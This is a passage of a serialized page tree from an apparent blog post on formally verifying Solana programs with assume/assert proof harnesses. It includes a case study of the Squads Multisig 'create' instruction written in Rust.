",{"type":23,"tag":154,"props":24490,"children":24492},{"className":24491},[500,501],[24493],{"type":23,"tag":504,"props":24494,"children":24496},{"className":24495},[507],[24497],{"type":23,"tag":504,"props":24498,"children":24500},{"className":24499,"ariaHidden":513},[512],[24501,24527],{"type":23,"tag":504,"props":24502,"children":24504},{"className":24503},[518],[24505,24509,24514,24518,24523],{"type":23,"tag":504,"props":24506,"children":24508},{"className":24507,"style":23635},[523],[],{"type":23,"tag":504,"props":24510,"children":24512},{"className":24511,"style":872},[529,530],[24513],{"type":29,"value":875},{"type":23,"tag":504,"props":24515,"children":24517},{"className":24516,"style":538},[537],[],{"type":23,"tag":504,"props":24519,"children":24521},{"className":24520},[543],[24522],{"type":29,"value":24374},{"type":23,"tag":504,"props":24524,"children":24526},{"className":24525,"style":538},[537],[],{"type":23,"tag":504,"props":24528,"children":24530},{"className":24529},[518],[24531,24535],{"type":23,"tag":504,"props":24532,"children":24534},{"className":24533,"style":23635},[523],[],{"type":23,"tag":504,"props":24536,"children":24538},{"className":24537,"style":24160},[529,530],[24539],{"type":29,"value":24163},{"type":29,"value":357},{"type":23,"tag":32,"props":24542,"children":24543},{},[24544],{"type":29,"value":24545},"Just like before we can construct a proof harness:",{"type":23,"tag":4743,"props":24547,"children":24549},{"code":24548,"language":21512,"meta":7,"className":21513,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[24550],{"type":23,"tag":154,"props":24551,"children":24552},{"__ignoreMap":7},[24553,24561,24576],{"type":23,"tag":504,"props":24554,"children":24555},{"class":5016,"line":5017},[24556],{"type":23,"tag":504,"props":24557,"children":24558},{"style":5058},[24559],{"type":29,"value":24560},"assume(S)\n",{"type":23,"tag":504,"props":24562,"children":24563},{"class":5016,"line":4868},[24564,24568,24572],{"type":23,"tag":504,"props":24565,"children":24566},{"style":5058},[24567],{"type":29,"value":24424},{"type":23,"tag":504,"props":24569,"children":24570},{"style":5047},[24571],{"type":29,"value":546},{"type":23,"tag":504,"props":24573,"children":24574},{"style":5058},[24575],{"type":29,"value":24433},{"type":23,"tag":504,"props":24577,"children":24578},{"class":5016,"line":4876},[24579,24583],{"type":23,"tag":504,"props":24580,"children":24581},{"style":5067},[24582],{"type":29,"value":22036},{"type":23,"tag":504,"props":24584,"children":24585},{"style":5058},[24586],{"type":29,"value":24587},"(K)\n",{"type":23,"tag":32,"props":24589,"children":24590},{},[24591,24593,24598,24600,24612],{"type":29,"value":24592},"This proof assures that whenever ",{"type":23,"tag":154,"props":24594,"children":24596},{"className":24595},[],[24597],{"type":29,"value":22207},{"type":29,"value":24599}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":23,"tag":4321,"props":24601,"children":24602},{},[24603,24605,24610],{"type":29,"value":24604},"even if ",{"type":23,"tag":154,"props":24606,"children":24608},{"className":24607},[],[24609],{"type":29,"value":22207},{"type":29,"value":24611}," is not satisfied",{"type":29,"value":24613},". To specify explicit error conditions we need our third and final proof.",{"type":23,"tag":320,"props":24615,"children":24617},{"id":24616},"_3-negative-instruction-invariant",[24618],{"type":29,"value":24619},"3. Negative instruction invariant",{"type":23,"tag":32,"props":24621,"children":24622},{},[24623,24625,24630,24632,24688],{"type":29,"value":24624},"Finally, we want to prove that ",{"type":23,"tag":154,"props":24626,"children":24628},{"className":24627},[],[24629],{"type":29,"value":22214},{"type":29,"value":24631}," is a sufficient condition for instruction failure. I.e. ",{"type":23,"tag":154,"props":24633,"children":24635},{"className":24634},[500,501],[24636],{"type":23,"tag":504,"props":24637,"children":24639},{"className":24638},[507],[24640],{"type":23,"tag":504,"props":24641,"children":24643},{"className":24642,"ariaHidden":513},[512],[24644,24670],{"type":23,"tag":504,"props":24645,"children":24647},{"className":24646},[518],[24648,24652,24657,24661,24666],{"type":23,"tag":504,"props":24649,"children":24651},{"className":24650,"style":23635},[523],[],{"type":23,"tag":504,"props":24653,"children":24655},{"className":24654,"style":872},[529,530],[24656],{"type":29,"value":24125},{"type":23,"tag":504,"props":24658,"children":24660},{"className":24659,"style":538},[537],[],{"type":23,"tag":504,"props":24662,"children":24664},{"className":24663},[543],[24665],{"type":29,"value":24374},{"type":23,"tag":504,"props":24667,"children":24669},{"className":24668,"style":538},[537],[],{"type":23,"tag":504,"props":24671,"children":24673},{"className":24672},[518],[24674,24678,24683],{"type":23,"tag":504,"props":24675,"children":24677},{"className":24676,"style":23635},[523],[],{"type":23,"tag":504,"props":24679,"children":24681},{"className":24680},[529],[24682],{"type":29,"value":24221},{"type":23,"tag":504,"props":24684,"children":24686},{"className":24685,"style":24160},[529,530],[24687],{"type":29,"value":24163},{"type":29,"value":357},{"type":23,"tag":32,"props":24690,"children":24691},{},[24692],{"type":29,"value":24693},"This harness looks just like the previous one:",{"type":23,"tag":4743,"props":24695,"children":24697},{"code":24696,"language":21512,"meta":7,"className":21513,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[24698],{"type":23,"tag":154,"props":24699,"children":24700},{"__ignoreMap":7},[24701,24709,24724],{"type":23,"tag":504,"props":24702,"children":24703},{"class":5016,"line":5017},[24704],{"type":23,"tag":504,"props":24705,"children":24706},{"style":5058},[24707],{"type":29,"value":24708},"assume(E)\n",{"type":23,"tag":504,"props":24710,"children":24711},{"class":5016,"line":4868},[24712,24716,24720],{"type":23,"tag":504,"props":24713,"children":24714},{"style":5058},[24715],{"type":29,"value":24424},{"type":23,"tag":504,"props":24717,"children":24718},{"style":5047},[24719],{"type":29,"value":546},{"type":23,"tag":504,"props":24721,"children":24722},{"style":5058},[24723],{"type":29,"value":24433},{"type":23,"tag":504,"props":24725,"children":24726},{"class":5016,"line":4876},[24727,24731,24735,24739],{"type":23,"tag":504,"props":24728,"children":24729},{"style":5067},[24730],{"type":29,"value":22036},{"type":23,"tag":504,"props":24732,"children":24733},{"style":5058},[24734],{"type":29,"value":603},{"type":23,"tag":504,"props":24736,"children":24737},{"style":24447},[24738],{"type":29,"value":22674},{"type":23,"tag":504,"props":24740,"children":24741},{"style":5058},[24742],{"type":29,"value":24743},"K)\n",{"type":23,"tag":32,"props":24745,"children":24746},{},[24747,24749,24753],{"type":29,"value":24748},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":23,"tag":4321,"props":24750,"children":24751},{},[24752],{"type":29,"value":18419},{"type":29,"value":24754}," the account invariants we expect are always being preserved.",{"type":23,"tag":24,"props":24756,"children":24758},{"id":24757},"case-study-squads-multisig",[24759],{"type":29,"value":24760},"Case study: Squads Multisig",{"type":23,"tag":32,"props":24762,"children":24763},{},[24764,24766,24771],{"type":29,"value":24765},"During our research, we focused on formally verifying aspects of the ",{"type":23,"tag":68,"props":24767,"children":24769},{"href":20875,"rel":24768},[72],[24770],{"type":29,"value":20879},{"type":29,"value":357},{"type":23,"tag":32,"props":24773,"children":24774},{},[24775,24777,24783,24785,24791],{"type":29,"value":24776},"The program defines a Multisig account (",{"type":23,"tag":154,"props":24778,"children":24780},{"className":24779},[],[24781],{"type":29,"value":24782},"Ms",{"type":29,"value":24784},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":23,"tag":154,"props":24786,"children":24788},{"className":24787},[],[24789],{"type":29,"value":24790},"threshold",{"type":29,"value":24792}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":23,"tag":32,"props":24794,"children":24795},{},[24796],{"type":29,"value":24797},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":23,"tag":32,"props":24799,"children":24800},{},[24801],{"type":29,"value":24802},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":23,"tag":139,"props":24804,"children":24805},{},[24806,24811,24816,24821],{"type":23,"tag":143,"props":24807,"children":24808},{},[24809],{"type":29,"value":24810},"Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":143,"props":24812,"children":24813},{},[24814],{"type":29,"value":24815},"Verify threshold requirements",{"type":23,"tag":143,"props":24817,"children":24818},{},[24819],{"type":29,"value":24820},"Verify requirements to remove a member",{"type":23,"tag":143,"props":24822,"children":24823},{},[24824],{"type":29,"value":24825},"Safety guarantees",{"type":23,"tag":320,"props":24827,"children":24829},{"id":24828},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[24830],{"type":29,"value":24831},"1. Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":32,"props":24833,"children":24834},{},[24835,24837,24842],{"type":29,"value":24836},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":23,"tag":154,"props":24838,"children":24840},{"className":24839},[],[24841],{"type":29,"value":22207},{"type":29,"value":24843}," expression.",{"type":23,"tag":32,"props":24845,"children":24846},{},[24847,24849,24854,24856,24862],{"type":29,"value":24848},"Creating a multisig (",{"type":23,"tag":154,"props":24850,"children":24852},{"className":24851},[],[24853],{"type":29,"value":24782},{"type":29,"value":24855},") requires invoking the ",{"type":23,"tag":154,"props":24857,"children":24859},{"className":24858},[],[24860],{"type":29,"value":24861},"create",{"type":29,"value":24863}," instruction:",{"type":23,"tag":4743,"props":24865,"children":24867},{"code":24866,"language":5008,"meta":7,"className":5009,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[24868],{"type":23,"tag":154,"props":24869,"children":24870},{"__ignoreMap":7},[24871,24888,24943,24973,24981,24989,25006,25057,25107,25115,25156,25163,25179,25212,25254,25261,25268,25287,25315,25335,25355,25383,25402,25410,25438,25458,25478,25485,25493,25525,25548,25583,25591,25599,25608,25650,25683,25691,25699,25708,25784,25817,25825,25833,25870,25883,25896,25909,25963,25972],{"type":23,"tag":504,"props":24872,"children":24873},{"class":5016,"line":5017},[24874,24879,24884],{"type":23,"tag":504,"props":24875,"children":24876},{"style":5058},[24877],{"type":29,"value":24878},"#[derive(",{"type":23,"tag":504,"props":24880,"children":24881},{"style":5467},[24882],{"type":29,"value":24883},"Accounts",{"type":23,"tag":504,"props":24885,"children":24886},{"style":5058},[24887],{"type":29,"value":22311},{"type":23,"tag":504,"props":24889,"children":24890},{"class":5016,"line":4868},[24891,24896,24900,24904,24909,24913,24917,24922,24926,24930,24934,24938],{"type":23,"tag":504,"props":24892,"children":24893},{"style":5058},[24894],{"type":29,"value":24895},"#[instruction(threshold",{"type":23,"tag":504,"props":24897,"children":24898},{"style":5047},[24899],{"type":29,"value":6533},{"type":23,"tag":504,"props":24901,"children":24902},{"style":5467},[24903],{"type":29,"value":23082},{"type":23,"tag":504,"props":24905,"children":24906},{"style":5058},[24907],{"type":29,"value":24908},", create_key",{"type":23,"tag":504,"props":24910,"children":24911},{"style":5047},[24912],{"type":29,"value":6533},{"type":23,"tag":504,"props":24914,"children":24915},{"style":5467},[24916],{"type":29,"value":22909},{"type":23,"tag":504,"props":24918,"children":24919},{"style":5058},[24920],{"type":29,"value":24921},", members",{"type":23,"tag":504,"props":24923,"children":24924},{"style":5047},[24925],{"type":29,"value":6533},{"type":23,"tag":504,"props":24927,"children":24928},{"style":5467},[24929],{"type":29,"value":23441},{"type":23,"tag":504,"props":24931,"children":24932},{"style":5058},[24933],{"type":29,"value":2658},{"type":23,"tag":504,"props":24935,"children":24936},{"style":5467},[24937],{"type":29,"value":23450},{"type":23,"tag":504,"props":24939,"children":24940},{"style":5058},[24941],{"type":29,"value":24942},">)]\n",{"type":23,"tag":504,"props":24944,"children":24945},{"class":5016,"line":4876},[24946,24950,24954,24959,24964,24969],{"type":23,"tag":504,"props":24947,"children":24948},{"style":5030},[24949],{"type":29,"value":15736},{"type":23,"tag":504,"props":24951,"children":24952},{"style":5030},[24953],{"type":29,"value":23203},{"type":23,"tag":504,"props":24955,"children":24956},{"style":5467},[24957],{"type":29,"value":24958}," Create",{"type":23,"tag":504,"props":24960,"children":24961},{"style":5058},[24962],{"type":29,"value":24963},"\u003C'",{"type":23,"tag":504,"props":24965,"children":24966},{"style":5467},[24967],{"type":29,"value":24968},"info",{"type":23,"tag":504,"props":24970,"children":24971},{"style":5058},[24972],{"type":29,"value":9325},{"type":23,"tag":504,"props":24974,"children":24975},{"class":5016,"line":5099},[24976],{"type":23,"tag":504,"props":24977,"children":24978},{"style":5058},[24979],{"type":29,"value":24980},"    #[account(\n",{"type":23,"tag":504,"props":24982,"children":24983},{"class":5016,"line":5203},[24984],{"type":23,"tag":504,"props":24985,"children":24986},{"style":5058},[24987],{"type":29,"value":24988},"        init,\n",{"type":23,"tag":504,"props":24990,"children":24991},{"class":5016,"line":5308},[24992,24997,25001],{"type":23,"tag":504,"props":24993,"children":24994},{"style":5058},[24995],{"type":29,"value":24996},"        payer ",{"type":23,"tag":504,"props":24998,"children":24999},{"style":5047},[25000],{"type":29,"value":546},{"type":23,"tag":504,"props":25002,"children":25003},{"style":5058},[25004],{"type":29,"value":25005}," creator,\n",{"type":23,"tag":504,"props":25007,"children":25008},{"class":5016,"line":5336},[25009,25014,25018,25022,25026,25031,25035,25040,25044,25048,25052],{"type":23,"tag":504,"props":25010,"children":25011},{"style":5058},[25012],{"type":29,"value":25013},"        space ",{"type":23,"tag":504,"props":25015,"children":25016},{"style":5047},[25017],{"type":29,"value":546},{"type":23,"tag":504,"props":25019,"children":25020},{"style":5467},[25021],{"type":29,"value":23208},{"type":23,"tag":504,"props":25023,"children":25024},{"style":5047},[25025],{"type":29,"value":5530},{"type":23,"tag":504,"props":25027,"children":25028},{"style":5467},[25029],{"type":29,"value":25030},"SIZE_WITHOUT_MEMBERS",{"type":23,"tag":504,"props":25032,"children":25033},{"style":5047},[25034],{"type":29,"value":10950},{"type":23,"tag":504,"props":25036,"children":25037},{"style":5058},[25038],{"type":29,"value":25039}," (members",{"type":23,"tag":504,"props":25041,"children":25042},{"style":5047},[25043],{"type":29,"value":357},{"type":23,"tag":504,"props":25045,"children":25046},{"style":5058},[25047],{"type":29,"value":23073},{"type":23,"tag":504,"props":25049,"children":25050},{"style":5047},[25051],{"type":29,"value":6613},{"type":23,"tag":504,"props":25053,"children":25054},{"style":5058},[25055],{"type":29,"value":25056}," 32),\n",{"type":23,"tag":504,"props":25058,"children":25059},{"class":5016,"line":5349},[25060,25065,25069,25074,25079,25083,25087,25092,25097,25102],{"type":23,"tag":504,"props":25061,"children":25062},{"style":5058},[25063],{"type":29,"value":25064},"        seeds ",{"type":23,"tag":504,"props":25066,"children":25067},{"style":5047},[25068],{"type":29,"value":546},{"type":23,"tag":504,"props":25070,"children":25071},{"style":5058},[25072],{"type":29,"value":25073}," [",{"type":23,"tag":504,"props":25075,"children":25076},{"style":6297},[25077],{"type":29,"value":25078},"b\"squad\"",{"type":23,"tag":504,"props":25080,"children":25081},{"style":5058},[25082],{"type":29,"value":24908},{"type":23,"tag":504,"props":25084,"children":25085},{"style":5047},[25086],{"type":29,"value":357},{"type":23,"tag":504,"props":25088,"children":25089},{"style":5058},[25090],{"type":29,"value":25091},"as_ref(), ",{"type":23,"tag":504,"props":25093,"children":25094},{"style":6297},[25095],{"type":29,"value":25096},"b\"multisig\"",{"type":23,"tag":504,"props":25098,"children":25099},{"style":5058},[25100],{"type":29,"value":25101},"], ",{"type":23,"tag":504,"props":25103,"children":25104},{"style":5041},[25105],{"type":29,"value":25106},"bump\n",{"type":23,"tag":504,"props":25108,"children":25109},{"class":5016,"line":5367},[25110],{"type":23,"tag":504,"props":25111,"children":25112},{"style":5058},[25113],{"type":29,"value":25114},"    )]\n",{"type":23,"tag":504,"props":25116,"children":25117},{"class":5016,"line":5388},[25118,25122,25127,25131,25136,25140,25144,25148,25152],{"type":23,"tag":504,"props":25119,"children":25120},{"style":5030},[25121],{"type":29,"value":22895},{"type":23,"tag":504,"props":25123,"children":25124},{"style":5041},[25125],{"type":29,"value":25126}," multisig",{"type":23,"tag":504,"props":25128,"children":25129},{"style":5047},[25130],{"type":29,"value":6533},{"type":23,"tag":504,"props":25132,"children":25133},{"style":5467},[25134],{"type":29,"value":25135}," Account",{"type":23,"tag":504,"props":25137,"children":25138},{"style":5058},[25139],{"type":29,"value":24963},{"type":23,"tag":504,"props":25141,"children":25142},{"style":5467},[25143],{"type":29,"value":24968},{"type":23,"tag":504,"props":25145,"children":25146},{"style":5058},[25147],{"type":29,"value":4367},{"type":23,"tag":504,"props":25149,"children":25150},{"style":5467},[25151],{"type":29,"value":24782},{"type":23,"tag":504,"props":25153,"children":25154},{"style":5058},[25155],{"type":29,"value":8183},{"type":23,"tag":504,"props":25157,"children":25158},{"class":5016,"line":5397},[25159],{"type":23,"tag":504,"props":25160,"children":25161},{"emptyLinePlaceholder":15},[25162],{"type":29,"value":5734},{"type":23,"tag":504,"props":25164,"children":25165},{"class":5016,"line":5649},[25166,25171,25175],{"type":23,"tag":504,"props":25167,"children":25168},{"style":5058},[25169],{"type":29,"value":25170},"    #[account(",{"type":23,"tag":504,"props":25172,"children":25173},{"style":5030},[25174],{"type":29,"value":5783},{"type":23,"tag":504,"props":25176,"children":25177},{"style":5058},[25178],{"type":29,"value":22311},{"type":23,"tag":504,"props":25180,"children":25181},{"class":5016,"line":5666},[25182,25186,25191,25195,25200,25204,25208],{"type":23,"tag":504,"props":25183,"children":25184},{"style":5030},[25185],{"type":29,"value":22895},{"type":23,"tag":504,"props":25187,"children":25188},{"style":5041},[25189],{"type":29,"value":25190}," creator",{"type":23,"tag":504,"props":25192,"children":25193},{"style":5047},[25194],{"type":29,"value":6533},{"type":23,"tag":504,"props":25196,"children":25197},{"style":5467},[25198],{"type":29,"value":25199}," Signer",{"type":23,"tag":504,"props":25201,"children":25202},{"style":5058},[25203],{"type":29,"value":24963},{"type":23,"tag":504,"props":25205,"children":25206},{"style":5467},[25207],{"type":29,"value":24968},{"type":23,"tag":504,"props":25209,"children":25210},{"style":5058},[25211],{"type":29,"value":8183},{"type":23,"tag":504,"props":25213,"children":25214},{"class":5016,"line":5683},[25215,25219,25224,25228,25233,25237,25241,25245,25250],{"type":23,"tag":504,"props":25216,"children":25217},{"style":5030},[25218],{"type":29,"value":22895},{"type":23,"tag":504,"props":25220,"children":25221},{"style":5041},[25222],{"type":29,"value":25223}," system_program",{"type":23,"tag":504,"props":25225,"children":25226},{"style":5047},[25227],{"type":29,"value":6533},{"type":23,"tag":504,"props":25229,"children":25230},{"style":5467},[25231],{"type":29,"value":25232}," Program",{"type":23,"tag":504,"props":25234,"children":25235},{"style":5058},[25236],{"type":29,"value":24963},{"type":23,"tag":504,"props":25238,"children":25239},{"style":5467},[25240],{"type":29,"value":24968},{"type":23,"tag":504,"props":25242,"children":25243},{"style":5058},[25244],{"type":29,"value":4367},{"type":23,"tag":504,"props":25246,"children":25247},{"style":5467},[25248],{"type":29,"value":25249},"System",{"type":23,"tag":504,"props":25251,"children":25252},{"style":5058},[25253],{"type":29,"value":8183},{"type":23,"tag":504,"props":25255,"children":25256},{"class":5016,"line":5696},[25257],{"type":23,"tag":504,"props":25258,"children":25259},{"style":5058},[25260],{"type":29,"value":5965},{"type":23,"tag":504,"props":25262,"children":25263},{"class":5016,"line":5705},[25264],{"type":23,"tag":504,"props":25265,"children":25266},{"emptyLinePlaceholder":15},[25267],{"type":29,"value":5734},{"type":23,"tag":504,"props":25269,"children":25270},{"class":5016,"line":5728},[25271,25275,25279,25283],{"type":23,"tag":504,"props":25272,"children":25273},{"style":5030},[25274],{"type":29,"value":15736},{"type":23,"tag":504,"props":25276,"children":25277},{"style":5030},[25278],{"type":29,"value":15741},{"type":23,"tag":504,"props":25280,"children":25281},{"style":5139},[25282],{"type":29,"value":9156},{"type":23,"tag":504,"props":25284,"children":25285},{"style":5058},[25286],{"type":29,"value":5512},{"type":23,"tag":504,"props":25288,"children":25289},{"class":5016,"line":5737},[25290,25294,25298,25302,25306,25311],{"type":23,"tag":504,"props":25291,"children":25292},{"style":5041},[25293],{"type":29,"value":22276},{"type":23,"tag":504,"props":25295,"children":25296},{"style":5047},[25297],{"type":29,"value":6533},{"type":23,"tag":504,"props":25299,"children":25300},{"style":5467},[25301],{"type":29,"value":22342},{"type":23,"tag":504,"props":25303,"children":25304},{"style":5058},[25305],{"type":29,"value":2658},{"type":23,"tag":504,"props":25307,"children":25308},{"style":5467},[25309],{"type":29,"value":25310},"Create",{"type":23,"tag":504,"props":25312,"children":25313},{"style":5058},[25314],{"type":29,"value":8183},{"type":23,"tag":504,"props":25316,"children":25317},{"class":5016,"line":5746},[25318,25323,25327,25331],{"type":23,"tag":504,"props":25319,"children":25320},{"style":5041},[25321],{"type":29,"value":25322},"    threshold",{"type":23,"tag":504,"props":25324,"children":25325},{"style":5047},[25326],{"type":29,"value":6533},{"type":23,"tag":504,"props":25328,"children":25329},{"style":5467},[25330],{"type":29,"value":23082},{"type":23,"tag":504,"props":25332,"children":25333},{"style":5058},[25334],{"type":29,"value":5557},{"type":23,"tag":504,"props":25336,"children":25337},{"class":5016,"line":5813},[25338,25343,25347,25351],{"type":23,"tag":504,"props":25339,"children":25340},{"style":5041},[25341],{"type":29,"value":25342},"    create_key",{"type":23,"tag":504,"props":25344,"children":25345},{"style":5047},[25346],{"type":29,"value":6533},{"type":23,"tag":504,"props":25348,"children":25349},{"style":5467},[25350],{"type":29,"value":22909},{"type":23,"tag":504,"props":25352,"children":25353},{"style":5058},[25354],{"type":29,"value":5557},{"type":23,"tag":504,"props":25356,"children":25357},{"class":5016,"line":5821},[25358,25363,25367,25371,25375,25379],{"type":23,"tag":504,"props":25359,"children":25360},{"style":5041},[25361],{"type":29,"value":25362},"    members",{"type":23,"tag":504,"props":25364,"children":25365},{"style":5047},[25366],{"type":29,"value":6533},{"type":23,"tag":504,"props":25368,"children":25369},{"style":5467},[25370],{"type":29,"value":23441},{"type":23,"tag":504,"props":25372,"children":25373},{"style":5058},[25374],{"type":29,"value":2658},{"type":23,"tag":504,"props":25376,"children":25377},{"style":5467},[25378],{"type":29,"value":23450},{"type":23,"tag":504,"props":25380,"children":25381},{"style":5058},[25382],{"type":29,"value":8183},{"type":23,"tag":504,"props":25384,"children":25385},{"class":5016,"line":5851},[25386,25390,25394,25398],{"type":23,"tag":504,"props":25387,"children":25388},{"style":5058},[25389],{"type":29,"value":5128},{"type":23,"tag":504,"props":25391,"children":25392},{"style":5047},[25393],{"type":29,"value":15803},{"type":23,"tag":504,"props":25395,"children":25396},{"style":5467},[25397],{"type":29,"value":15808},{"type":23,"tag":504,"props":25399,"children":25400},{"style":5058},[25401],{"type":29,"value":22384},{"type":23,"tag":504,"props":25403,"children":25404},{"class":5016,"line":5859},[25405],{"type":23,"tag":504,"props":25406,"children":25407},{"style":5021},[25408],{"type":29,"value":25409},"    // sort the members and remove duplicates\n",{"type":23,"tag":504,"props":25411,"children":25412},{"class":5016,"line":5891},[25413,25417,25421,25426,25430,25434],{"type":23,"tag":504,"props":25414,"children":25415},{"style":5030},[25416],{"type":29,"value":5033},{"type":23,"tag":504,"props":25418,"children":25419},{"style":5030},[25420],{"type":29,"value":5038},{"type":23,"tag":504,"props":25422,"children":25423},{"style":5041},[25424],{"type":29,"value":25425}," members",{"type":23,"tag":504,"props":25427,"children":25428},{"style":5047},[25429],{"type":29,"value":5050},{"type":23,"tag":504,"props":25431,"children":25432},{"style":5041},[25433],{"type":29,"value":25425},{"type":23,"tag":504,"props":25435,"children":25436},{"style":5058},[25437],{"type":29,"value":5061},{"type":23,"tag":504,"props":25439,"children":25440},{"class":5016,"line":5899},[25441,25445,25449,25454],{"type":23,"tag":504,"props":25442,"children":25443},{"style":5041},[25444],{"type":29,"value":25362},{"type":23,"tag":504,"props":25446,"children":25447},{"style":5047},[25448],{"type":29,"value":357},{"type":23,"tag":504,"props":25450,"children":25451},{"style":5139},[25452],{"type":29,"value":25453},"sort",{"type":23,"tag":504,"props":25455,"children":25456},{"style":5058},[25457],{"type":29,"value":5725},{"type":23,"tag":504,"props":25459,"children":25460},{"class":5016,"line":5959},[25461,25465,25469,25474],{"type":23,"tag":504,"props":25462,"children":25463},{"style":5041},[25464],{"type":29,"value":25362},{"type":23,"tag":504,"props":25466,"children":25467},{"style":5047},[25468],{"type":29,"value":357},{"type":23,"tag":504,"props":25470,"children":25471},{"style":5139},[25472],{"type":29,"value":25473},"dedup",{"type":23,"tag":504,"props":25475,"children":25476},{"style":5058},[25477],{"type":29,"value":5725},{"type":23,"tag":504,"props":25479,"children":25480},{"class":5016,"line":11093},[25481],{"type":23,"tag":504,"props":25482,"children":25483},{"emptyLinePlaceholder":15},[25484],{"type":29,"value":5734},{"type":23,"tag":504,"props":25486,"children":25487},{"class":5016,"line":11111},[25488],{"type":23,"tag":504,"props":25489,"children":25490},{"style":5021},[25491],{"type":29,"value":25492},"    // check we don't exceed u16\n",{"type":23,"tag":504,"props":25494,"children":25495},{"class":5016,"line":11156},[25496,25500,25505,25509,25513,25517,25521],{"type":23,"tag":504,"props":25497,"children":25498},{"style":5030},[25499],{"type":29,"value":5033},{"type":23,"tag":504,"props":25501,"children":25502},{"style":5041},[25503],{"type":29,"value":25504}," total_members",{"type":23,"tag":504,"props":25506,"children":25507},{"style":5047},[25508],{"type":29,"value":5050},{"type":23,"tag":504,"props":25510,"children":25511},{"style":5041},[25512],{"type":29,"value":25425},{"type":23,"tag":504,"props":25514,"children":25515},{"style":5047},[25516],{"type":29,"value":357},{"type":23,"tag":504,"props":25518,"children":25519},{"style":5139},[25520],{"type":29,"value":11186},{"type":23,"tag":504,"props":25522,"children":25523},{"style":5058},[25524],{"type":29,"value":5725},{"type":23,"tag":504,"props":25526,"children":25527},{"class":5016,"line":11262},[25528,25532,25536,25540,25544],{"type":23,"tag":504,"props":25529,"children":25530},{"style":5067},[25531],{"type":29,"value":14325},{"type":23,"tag":504,"props":25533,"children":25534},{"style":5041},[25535],{"type":29,"value":25504},{"type":23,"tag":504,"props":25537,"children":25538},{"style":5047},[25539],{"type":29,"value":10764},{"type":23,"tag":504,"props":25541,"children":25542},{"style":5083},[25543],{"type":29,"value":6565},{"type":23,"tag":504,"props":25545,"children":25546},{"style":5058},[25547],{"type":29,"value":5333},{"type":23,"tag":504,"props":25549,"children":25551},{"class":5016,"line":25550},31,[25552,25556,25561,25565,25570,25574,25579],{"type":23,"tag":504,"props":25553,"children":25554},{"style":5067},[25555],{"type":29,"value":17791},{"type":23,"tag":504,"props":25557,"children":25558},{"style":5139},[25559],{"type":29,"value":25560}," err!",{"type":23,"tag":504,"props":25562,"children":25563},{"style":5058},[25564],{"type":29,"value":603},{"type":23,"tag":504,"props":25566,"children":25567},{"style":5467},[25568],{"type":29,"value":25569},"MsError",{"type":23,"tag":504,"props":25571,"children":25572},{"style":5047},[25573],{"type":29,"value":5530},{"type":23,"tag":504,"props":25575,"children":25576},{"style":5467},[25577],{"type":29,"value":25578},"EmptyMembers",{"type":23,"tag":504,"props":25580,"children":25581},{"style":5058},[25582],{"type":29,"value":5888},{"type":23,"tag":504,"props":25584,"children":25586},{"class":5016,"line":25585},32,[25587],{"type":23,"tag":504,"props":25588,"children":25589},{"style":5058},[25590],{"type":29,"value":5403},{"type":23,"tag":504,"props":25592,"children":25594},{"class":5016,"line":25593},33,[25595],{"type":23,"tag":504,"props":25596,"children":25597},{"emptyLinePlaceholder":15},[25598],{"type":29,"value":5734},{"type":23,"tag":504,"props":25600,"children":25602},{"class":5016,"line":25601},34,[25603],{"type":23,"tag":504,"props":25604,"children":25605},{"style":5021},[25606],{"type":29,"value":25607},"    // make sure we don't exceed u16 on first call\n",{"type":23,"tag":504,"props":25609,"children":25611},{"class":5016,"line":25610},35,[25612,25616,25620,25624,25628,25632,25636,25641,25645],{"type":23,"tag":504,"props":25613,"children":25614},{"style":5067},[25615],{"type":29,"value":14325},{"type":23,"tag":504,"props":25617,"children":25618},{"style":5041},[25619],{"type":29,"value":25504},{"type":23,"tag":504,"props":25621,"children":25622},{"style":5047},[25623],{"type":29,"value":16240},{"type":23,"tag":504,"props":25625,"children":25626},{"style":5467},[25627],{"type":29,"value":15777},{"type":23,"tag":504,"props":25629,"children":25630},{"style":5047},[25631],{"type":29,"value":5530},{"type":23,"tag":504,"props":25633,"children":25634},{"style":5139},[25635],{"type":29,"value":21525},{"type":23,"tag":504,"props":25637,"children":25638},{"style":5058},[25639],{"type":29,"value":25640},"(u16",{"type":23,"tag":504,"props":25642,"children":25643},{"style":5047},[25644],{"type":29,"value":5530},{"type":23,"tag":504,"props":25646,"children":25647},{"style":5058},[25648],{"type":29,"value":25649},"MAX) 